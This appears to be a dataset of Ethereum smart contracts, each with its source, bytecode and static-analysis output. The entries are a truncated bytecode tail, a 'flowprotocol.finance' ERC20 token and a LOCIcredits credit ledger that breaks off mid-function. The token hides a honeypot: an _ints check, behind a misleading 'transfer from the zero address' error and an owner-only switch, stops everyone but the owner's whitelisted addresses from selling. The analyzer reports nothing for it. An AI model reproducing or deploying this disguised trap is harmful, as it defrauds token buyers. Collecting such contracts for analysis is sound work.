91505060405180910390fd5b6001600160a01b0382166000908152600c602090815260408083206003810154600654915460001982018652600d9094529184205460045492949361117b93610a9892610a92919061109c565b6006546001600160a01b0386166000908152600c602090815260408083205460001988018452600d9092529091205460045493945091926111c092610a92919061109c565b816111c757fe5b6001600160a01b03959095166000908152600c60205260409020600401805491909506019093555090919050565b6000828201838110156110de576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261125e575060006110e1565b8282028284828161126b57fe5b04146110de5760405162461bcd60e51b815260040180806020018281038252602181526020018061143b6021913960400191505060405180910390fd5b60006110de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611381565b600081848411156113795760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561133e578181015183820152602001611326565b50505050905090810190601f16801561136b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836113d05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561133e578181015183820152602001611326565b5060008385816113dc57fe5b049594505050505056fe546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d207573657220666f72206c6f636b696e6745524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220fe78cc9a3ff84025abd7ef49984998e4ff861d28aefc02089f1a04e5933db8cd64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,687
0xea07e4f554257dcd9a3dbc24ad348dac3904364e
// ------------------------Official website : flowprotocol.finance------------------------ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _TokenErc(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220407b82c894a407c2cb286fdbe8f29152d7e29c38e959eb237b6c0a0d4d2f7b6364736f6c63430006060033
{"success": true, "error": null, "results": {}}
3,688
0xc60de1a27ae8395b7c2a0034aa060ed4d31b39aa
pragma solidity >=0.4.23; /** * @author Dan Emmons at Loci.io */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. */ contract Contactable is Ownable { string public contactInformation; /** * @dev Allows the owner to set a string with their contact information. * @param info The contact information to attach to the contract. */ function setContactInformation(string info) onlyOwner public { contactInformation = info; } } contract LOCIcredits is Ownable, Contactable { using SafeMath for uint256; StandardToken token; // LOCIcoin deployed contract mapping (address => bool) internal allowedOverrideAddresses; mapping (string => LOCIuser) users; string[] userKeys; uint256 userCount; // convenience for accounting event UserAdded( string id, uint256 time ); // core usage: increaseCredits, reduceCredits, buyCreditsAndSpend, buyCreditsAndSpendAndRecover event CreditsAdjusted( string id, uint8 adjustment, uint256 value, uint8 reason, address register ); // special usage: transferCreditsInternally (only required in the event of a user that created multiple accounts) event CreditsTransferred( string id, uint256 value, uint8 reason, string beneficiary ); modifier onlyOwnerOrOverride() { // owner or any addresses listed in the overrides // can perform token transfers while inactive require(msg.sender == owner || allowedOverrideAddresses[msg.sender]); _; } struct LOCIuser { uint256 credits; bool registered; address wallet; } constructor( address _token, string _contactInformation ) public { owner = msg.sender; token = StandardToken(_token); // LOCIcoin address contactInformation = _contactInformation; } function increaseCredits( string _id, uint256 _value, uint8 _reason, address _register ) public onlyOwnerOrOverride returns(uint256) { LOCIuser storage user = users[_id]; if( !user.registered ) { user.registered = true; userKeys.push(_id); userCount = userCount.add(1); emit UserAdded(_id,now); } user.credits = user.credits.add(_value); require( token.transferFrom( _register, address(this), _value ) ); emit CreditsAdjusted(_id, 1, _value, _reason, _register); return user.credits; } function reduceCredits( string _id, uint256 _value, uint8 _reason, address _register ) public onlyOwnerOrOverride returns(uint256) { LOCIuser storage user = users[_id]; require( user.registered ); // SafeMath.sub will throw if there is not enough balance. user.credits = user.credits.sub(_value); require( user.credits >= 0 ); require( token.transfer( _register, _value ) ); emit CreditsAdjusted(_id, 2, _value, _reason, _register); return user.credits; } function buyCreditsAndSpend( string _id, uint256 _value, uint8 _reason, address _register, uint256 _spend ) public onlyOwnerOrOverride returns(uint256) { increaseCredits(_id, _value, _reason, _register); return reduceCredits(_id, _spend, _reason, _register ); } function buyCreditsAndSpendAndRecover(string _id, uint256 _value, uint8 _reason, address _register, uint256 _spend, address _recover ) public onlyOwnerOrOverride returns(uint256) { buyCreditsAndSpend(_id, _value, _reason, _register, _spend); return reduceCredits(_id, getCreditsFor(_id), _reason, _recover); } function transferCreditsInternally( string _id, uint256 _value, uint8 _reason, string _beneficiary ) public onlyOwnerOrOverride returns(uint256) { LOCIuser storage user = users[_id]; require( user.registered ); LOCIuser storage beneficiary = users[_beneficiary]; if( !beneficiary.registered ) { beneficiary.registered = true; userKeys.push(_beneficiary); userCount = userCount.add(1); emit UserAdded(_beneficiary,now); } require(_value <= user.credits); user.credits = user.credits.sub(_value); require( user.credits >= 0 ); beneficiary.credits = beneficiary.credits.add(_value); require( beneficiary.credits >= _value ); emit CreditsAdjusted(_id, 2, _value, _reason, 0x0); emit CreditsAdjusted(_beneficiary, 1, _value, _reason, 0x0); emit CreditsTransferred(_id, _value, _reason, _beneficiary ); return user.credits; } function assignUserWallet( string _id, address _wallet ) public onlyOwnerOrOverride returns(uint256) { LOCIuser storage user = users[_id]; require( user.registered ); user.wallet = _wallet; return user.credits; } function withdrawUserSpecifiedFunds( string _id, uint256 _value, uint8 _reason ) public returns(uint256) { LOCIuser storage user = users[_id]; require( user.registered, "user is not registered" ); require( user.wallet == msg.sender, "user.wallet is not msg.sender" ); user.credits = user.credits.sub(_value); require( user.credits >= 0 ); require( token.transfer( user.wallet, _value ), "transfer failed" ); emit CreditsAdjusted(_id, 2, _value, _reason, user.wallet ); return user.credits; } function getUserWallet( string _id ) public constant returns(address) { return users[_id].wallet; } function getTotalSupply() public constant returns(uint256) { return token.balanceOf(address(this)); } function getCreditsFor( string _id ) public constant returns(uint256) { return users[_id].credits; } function getUserCount() public constant returns(uint256) { return userCount; } function getUserKey(uint256 _index) public constant returns(string) { require(_index <= userKeys.length-1); return userKeys[_index]; } function getCreditsAtIndex(uint256 _index) public constant returns(uint256) { return getCreditsFor(getUserKey(_index)); } // non-core functionality function ownerSetOverride(address _address, bool enable) external onlyOwner { allowedOverrideAddresses[_address] = enable; } function isAllowedOverrideAddress(address _addr) external constant returns (bool) { return allowedOverrideAddresses[_addr]; } // enable recovery of ether sent to this contract function ownerTransferWei(address _beneficiary, uint256 _value) external onlyOwner { require(_beneficiary != 0x0); require(_beneficiary != address(token)); // if zero requested, send the entire amount, otherwise the amount requested uint256 _amount = _value > 0 ? _value : address(this).balance; _beneficiary.transfer(_amount); } // enable recovery of LOCIcoin sent to this contract function ownerRecoverTokens(address _beneficiary) external onlyOwner { require(_beneficiary != 0x0); require(_beneficiary != address(token)); uint256 _tokensRemaining = token.balanceOf(address(this)); if (_tokensRemaining > 0) { token.transfer(_beneficiary, _tokensRemaining); } } // enable recovery of any other StandardToken sent to this contract function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return 